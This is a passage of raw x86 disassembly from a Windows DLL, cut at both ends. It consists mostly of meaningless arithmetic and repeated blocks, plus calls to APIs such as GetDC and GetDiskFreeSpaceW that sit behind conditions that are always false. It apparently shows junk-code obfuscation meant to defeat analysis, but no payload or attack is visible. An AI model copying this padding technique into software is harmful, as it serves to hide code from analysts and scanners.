call fcn.10016fe2
lea ecx, [ebp - 0x11c]
mov esi, dword [eax]
xor eax, eax
push eax
imul esi, edi
call fcn.10016fe2
xor ecx, ecx
cmp esi, dword [eax]
setl cl
xor ebx, ebx
test ecx, ecx
lea ecx, [ebp - 0x11c]
sets bl
xor eax, eax
push eax
call fcn.10016fe2
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
xor eax, eax
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x11c]
push eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x14]
mov edx, 0xffff
cmp edx, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x11c]
setge dl
xor ebx, ebx
cmp edx, 0xfffffffa
setl bl
xor eax, eax
push eax
call fcn.10016fe2
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
add ecx, 0x128abf8b
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x11c]
mov eax, dword [ebp - 0x28]
xor eax, eax
push eax
call fcn.10016fe2
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10030dec
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
xor eax, eax
push eax
lea ecx, [ebp - 0x11c]
call fcn.10016fe2
xor eax, eax
lea ecx, [ebp - 0x11c]
push eax
call fcn.10016fe2
xor eax, eax
lea ecx, [ebp - 0xd1c]
push eax
call fcn.10016fe2
mov eax, dword [ebp - 0x494]
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x44]
setns cl
xor edx, edx
sub ecx, eax
add ecx, dword [ebp - 0x490]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x494]
mov eax, dword [ebp - 0x494]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x494], ecx
lea ecx, [ebp - 0xd1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg eax
mov dword [ebp - 0x14], eax
call fcn.10016fdd
or esi, 0xffffffff
lea ecx, [ebp - 0x11c]
mov dword [ebp - 4], esi
call fcn.10016fdd
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], eax
jmp 0x10030ea8
cmp dword [ebp - 0x28], eax
jne 0x10030eae
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10030ea5
push 0x11e6
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xf
jne 0x10030e89
mov dword [ebp - 0x20], 0x789328a
xor ebx, ebx
mov dword [ebp - 0x5c], 0x69f4
inc ebx
mov dword [ebp - 0x30], 0xfb1c0380
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x60], 0xd7540573
mov dword [ebp - 0x48], 6
push 7
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x64], 0x9958900f
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x14], 0x9f5ab171
push 3
mov dword [ebp - 0x1c], eax
pop edi
cmp dword [ebp - 0x1c], edi
jge 0x10030f14
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd34], 0x187110e6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030efc
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10030f34
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x12f0], 0xa44198d7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10030f1c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030f54
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1ac], 0x826f393
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030f3c
xor eax, eax
cmp dword [ebp - 0x5c], eax
jne 0x10030ff2
dec dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x1ac]
je 0x10030f76
mov eax, dword [ebp - 0x4c]
neg eax
je 0x10030f76
mov esi, ebx
jmp 0x10030f7a
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0xd2c]
cmp eax, ecx
mov eax, dword [ebp - 0x44]
setg dl
sub edx, eax
neg edx
push 0
sbb edx, edx
neg edx
mov edx, dword [ebp - 0x12f0]
pop eax
sete al
sub edx, eax
mov eax, dword [ebp - 0x4c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, eax
mov eax, dword [ebp - 0xd34]
imul edx, eax
mov eax, dword [ebp - 0x64]
cmp edx, eax
mov eax, dword [ebp - 0x5c]
setl cl
xor edx, edx
add ecx, esi
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
sub edx, 0x323f
cmp edx, eax
setne cl
or esi, 0xffffffff
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xd34], eax
xor eax, eax
dec dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10031022
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1364], 0x1d2250db
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10031009
xor eax, eax
mov dword [ebp - 0x1c], 0x61f9
mov dword [ebp - 0x4c], 6
mov dword [ebp - 0x2c], 0xa75015e0
cmp dword [ebp - 0x1c], eax
je 0x10031055
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003110a
push eax
call dword [sym.imp.KERNEL32.dll_EncodePointer]
jmp 0x10031108
mov dword [ebp - 0x14], 0x8555145c
xor edx, edx
mov dword [ebp - 0x18], 0xfffffffd
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
cmp ecx, dword [ebp - 0x1c]
jge 0x10031085
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
cmp eax, 9
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
cmp ecx, 0x1f9e
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, 0xffff
setle dl
imul edx, dword [ebp - 0x1c]
cmp edx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xfffc
setne cl
cmp ecx, dword [ebp - 0x2c]
jl 0x100310f1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0xfffffff6
setle cl
mov dword [ebp - 0x18], ecx
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x1003111b
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
xor eax, eax
inc dword [ebp - 0x20]
mov ecx, 0xa5d6c05b
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x664], ecx
mov dword [ebp - 0x660], ecx
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x658], ecx
mov dword [ebp - 0x1c], 0x8da8e97e
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x100311ec
mov dword [ebp - 0x24], 0xc4c8d3c8
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jg 0x100311e3
mov dword [ebp - 0x14], 0xfffffffb
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x664]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x664]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x664], ecx
test ecx, ecx
jne 0x1003119c
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x24], eax
je 0x1003119e
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
cmp eax, 0x67120dd9
setle cl
xor eax, eax
sub ecx, 0x59512e2e
cmp edx, ecx
jl 0x100311d6
cmp dword [ebp - 0x65c], eax
je 0x100311d6
mov eax, ebx
mov dword [ebp - 0x14], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x1003116a
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x10031158
mov dword [ebp - 0x1c], eax
jmp 0x10031207
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031204
push eax
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
je 0x100311f1
mov dword [ebp - 0x18], 0xc03342eb
push 7
mov dword [ebp - 0x2c], 0xc77dcda7
pop ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x18], 2
cmp dword [ebp - 0x18], 0xffffffef
jle 0x10031296
jmp 0x10031231
xor eax, eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x4c], 0x589b5833
cmp dword [ebp - 0x14], eax
je 0x10031249
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setne dl
mov dword [ebp - 0x4c], edx
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge dl
xor ecx, ecx
test edx, edx
setle cl
xor eax, eax
cmp ecx, 0xe80d
setg al
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10031287
mov eax, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x64]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffef
jg 0x1003122f
push edi
lea ecx, [ebp - 0xe8]
call fcn.10016f54
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x410]
mov dword [ebp - 0x24], 0xe9bf9f36
push ebx
call fcn.10016f54
mov byte [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x18], 2
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x100312ef
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe8]
call fcn.10016fe2
mov dword [eax], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100312d1
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10031307
push dword [ebp - 0x18]
lea ecx, [ebp - 0x410]
call fcn.10016fe2
mov dword [eax], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x100312f4
push ebx
lea ecx, [ebp - 0xe8]
call fcn.10016fe2
lea ecx, [ebp - 0x410]
inc dword [eax]
xor eax, eax
push eax
call fcn.10016fe2
push ebx
lea ecx, [ebp - 0xe8]
mov dword [eax], 0xf34111d0
call fcn.10016fe2
xor ecx, ecx
push ebx
cmp dword [eax], ebx
setge cl
mov dword [ebp - 0x18], ecx
mov ecx, 0xbf889e02
mov eax, dword [ebp - 0x18]
cmp ecx, eax
lea ecx, [ebp - 0xe8]
sbb esi, esi
neg esi
call fcn.10016fe2
lea ecx, [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
xor eax, eax
push eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x24]
xor edx, edx
cmp ecx, esi
setge dl
cmp edx, dword [eax]
je 0x10031398
xor eax, eax
lea ecx, [ebp - 0x410]
push eax
call fcn.10016fe2
cmp dword [eax], 0
je 0x10031398
mov esi, ebx
xor eax, eax
jmp 0x1003139c
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0xe8]
call fcn.10016fe2
cmp esi, dword [eax]
jg 0x100313b8
push ebx
lea ecx, [ebp - 0xe8]
call fcn.10016fe2
push ebx
lea ecx, [ebp - 0xe8]
call fcn.10016fe2
push ebx
lea ecx, [ebp - 0xe8]
imul esi, dword [eax], 0xfffffff8
call fcn.10016fe2
cmp esi, dword [eax]
jge 0x100313da
mov eax, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x20], 0xa26cdee9
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10031408
push 8
pop edx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6fc], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100313f4
xor eax, eax
push eax
lea ecx, [ebp - 0xe8]
call fcn.10016fe2
xor eax, eax
lea ecx, [ebp - 0x410]
push eax
call fcn.10016fe2
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0xe8]
xor eax, eax
push eax
call fcn.10016fe2
mov ecx, 0xfd6b2214
push ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xe8]
sbb esi, esi
neg esi
call fcn.10016fe2
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp ecx, esi
setge dl
add edx, dword [eax]
mov eax, dword [ebp - 0x18]
imul eax, edx
cmp eax, dword [ebp - 0x5c]
jge 0x10031478
xor eax, eax
lea ecx, [ebp - 0x410]
push eax
call fcn.10016fe2
cmp dword [eax], 0
je 0x10031478
mov ecx, ebx
jmp 0x1003147c
xor eax, eax
mov ecx, eax
xor eax, eax
test ecx, ecx
push 2
setle al
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0x4c], eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [eax]
jge 0x100314b2
xor eax, eax
cmp dword [ebp - 0x5c], eax
je 0x100314b4
cmp dword [ebp - 0x20], eax
je 0x100314b4
mov esi, ebx
jmp 0x100314b6
xor eax, eax
mov esi, eax
mov dword [ebp - 0x6fc], esi
lea ecx, [ebp - 0x410]
push eax
call fcn.10016fe2
mov dword [eax], esi
mov dword [ebp - 0x18], 0xfffffffe
cmp dword [ebp - 0x18], 0x1c
jge 0x10031505
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x100314f7
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100314f4
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x100314de
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1c
jl 0x100314d9
lea ecx, [ebp - 0x410]
call fcn.10016fdd
or esi, 0xffffffff
lea ecx, [ebp - 0xe8]
mov dword [ebp - 4], esi
call fcn.10016fdd
xor eax, eax
lea ecx, [ebp - 0xd4c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x44], 0x9949dfcf
push 7
pop eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x4c], 0xe54ee87f
mov dword [ebp - 0x24], 0xcfaf
mov dword [ebp - 0x20], 0x12af04
mov dword [ebp - 0x2c], 0xfffffffd
push edi
call fcn.10016f54
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10031589
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1404], 0x37911b9c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10031570
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100315a5
push dword [ebp - 0x18]
lea ecx, [ebp - 0xd4c]
call fcn.10016fe2
mov dword [eax], 0x9f8c5172
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1003158e
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x24]
test eax, eax
jne 0x1003160e
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x24]
je 0x100315c3
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x100315c5
mov eax, ebx
mov dword [ebp - 0x1400], eax
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp edx, esi
setg cl
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
cmp eax, edx
setne cl
add ecx, 0x6896e60b
jne 0x1003160e
xor eax, eax
mov edx, eax
jmp 0x10031610
mov edx, ebx
mov eax, dword [ebp - 0x44]
xor ecx, ecx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
cmp eax, ebx
setge cl
sub ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
lea ecx, [ebp - 0xd4c]
setne al
sub eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
xor eax, eax
push eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x14]
sub edx, ecx
mov dword [ebp - 4], esi
lea ecx, [ebp - 0xd4c]
mov dword [eax], edx
call fcn.10016fdd
xor eax, eax
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x30], ebx
push ebx
call fcn.10016f54
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0xc38]
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x14], 0xa37d7c86
mov dword [ebp - 0x28], 0xec352115
push 2
call fcn.10016f54
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100316d0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x110]
call fcn.10016fe2
mov dword [eax], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100316b6
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x100316f0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5e4], 0x5cb5542a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100316d8
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10031717
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xc38]
call fcn.10016fe2
push 7
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100316f9
xor eax, eax
mov dword [ebp - 0x4c], ebx
lea ecx, [ebp - 0x110]
mov edi, dword [ebp - 0x4c]
mov dword [ebp - 0x5e4], edi
push eax
call fcn.10016fe2
xor ecx, ecx
cmp dword [eax], ecx
setl cl
xor eax, eax
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x110]
push eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x44]
sub edi, ecx
lea ecx, [ebp - 0x110]
sub edi, dword [eax]
neg edi
sbb edi, edi
xor eax, eax
push eax
inc edi
call fcn.10016fe2
lea ecx, [ebp - 0x110]
mov esi, dword [eax]
xor eax, eax
push eax
imul esi, edi
call fcn.10016fe2
xor ecx, ecx
cmp esi, dword [eax]
setl cl
xor ebx, ebx
test ecx, ecx
lea ecx, [ebp - 0x110]
sets bl
xor eax, eax
push eax
call fcn.10016fe2
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
xor eax, eax
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x110]
push eax
call fcn.10016fe2
mov ecx, dword [ebp - 0x14]
mov edx, 0xffff
cmp edx, ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x110]
setge dl
xor ebx, ebx
cmp edx, 0xfffffffa
setl bl
xor eax, eax
push eax
call fcn.10016fe2
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
add ecx, 0x128abf8b
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x110]
mov eax, dword [ebp - 0x28]
xor eax, eax
push eax
call fcn.10016fe2
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10031815
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
xor eax, eax
push eax
lea ecx, [ebp - 0x110]
call fcn.10016fe2
xor eax, eax
lea ecx, [ebp - 0x110]
push eax
call fcn.10016fe2
xor eax, eax
lea ecx, [ebp - 0xc38]
push eax
call fcn.10016fe2
mov eax, dword [ebp - 0x5e4]
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x44]
setns cl
xor edx, edx
sub ecx, eax
add ecx, dword [ebp - 0x5e0]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x5e4]
mov eax, dword [ebp - 0x5e4]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x5e4], ecx
lea ecx, [ebp - 0xc38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg eax
mov dword [ebp - 0x14], eax
call fcn.10016fdd
or esi, 0xffffffff
lea ecx, [ebp - 0x110]
mov dword [ebp - 4], esi
call fcn.10016fdd
xor ebx, ebx
mov dword [ebp - 0x30], 0x1836ccb0
inc ebx
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], eax
jmp 0x100318de
cmp dword [ebp - 0x28], eax
jne 0x100318e4
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100318db
push 0x11e6
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xf
jne 0x100318bf
mov dword [ebp - 0x30], 0x4b283066
mov dword [ebp - 0x5c], 0x69f4
mov dword [ebp - 0x30], 0xfb1c0380
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x60], 0xd7540573
mov dword [ebp - 0x48], 6
push 7
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x64], 0x9958900f
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x14], 0x9f5ab171
push 3
mov dword [ebp - 0x1c], eax
pop edi
cmp dword [ebp - 0x1c], edi
jge 0x10031947
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa70], 0x187110e6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003192f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x10031967
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1248], 0xa44198d7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003194f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10031987
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x178], 0x826f393
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003196f
xor eax, eax
cmp dword [ebp - 0x5c], eax
jne 0x10031a25
dec dword [ebp - 0x178]
mov eax, dword [ebp - 0x178]
je 0x100319a9
mov eax, dword [ebp - 0x4c]
neg eax
je 0x100319a9
mov esi, ebx
jmp 0x100319ad
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0xa68]
cmp eax, ecx
mov eax, dword [ebp - 0x44]
setg dl
sub edx, eax
neg edx
push 0
sbb edx, edx
neg edx
mov edx, dword [ebp - 0x1248]
pop eax
sete al
sub edx, eax
mov eax, dword [ebp - 0x4c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, eax
mov eax, dword [ebp - 0xa70]
imul edx, eax
mov eax, dword [ebp - 0x64]
cmp edx, eax
mov eax, dword [ebp - 0x5c]
setl cl
xor edx, edx
add ecx, esi
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
sub edx, 0x323f
cmp edx, eax
setne cl
or esi, 0xffffffff
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xa70], eax
xor eax, eax
dec dword [ebp - 0x14]
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x1c], 0x61f9
mov dword [ebp - 0x4c], 6
mov dword [ebp - 0x2c], 0xa75015e0
cmp dword [ebp - 0x1c], eax
je 0x10031a6b
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10031b1c
push eax
call dword [sym.imp.KERNEL32.dll_EncodePointer]
jmp 0x10031b1a
mov dword [ebp - 0x14], 0x8555145c
xor edx, edx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
cmp ecx, dword [ebp - 0x1c]
jge 0x10031a97
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
cmp eax, 9
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setne cl
xor edx, edx
cmp ecx, 0x1f9e
setl dl
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, 0xffff
setle dl
imul edx, dword [ebp - 0x1c]
cmp edx, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xfffc
setne cl
cmp ecx, dword [ebp - 0x2c]
jl 0x10031b03
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0xfffffff6
setle cl
mov dword [ebp - 0x18], ecx
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10031b2d
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
xor eax, eax
mov ecx, 0xa5d6c05b
mov dword [ebp - 0x678], ecx
mov dword [ebp - 0x674], ecx
mov dword [ebp - 0x670], ecx
mov dword [ebp - 0x66c], ecx
mov dword [ebp - 0x1c], 0x8da8e97e
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x1c], edi
cmp dword [ebp - 0x1c], eax
jl 0x10031bf4
mov dword [ebp - 0x24], 0xc4c8d3c8
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jg 0x10031beb
mov dword [ebp - 0x14], 0xfffffffb
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x678]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x678]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x678], ecx
test ecx, ecx
jne 0x10031ba4
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x24], eax
je 0x10031ba6
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
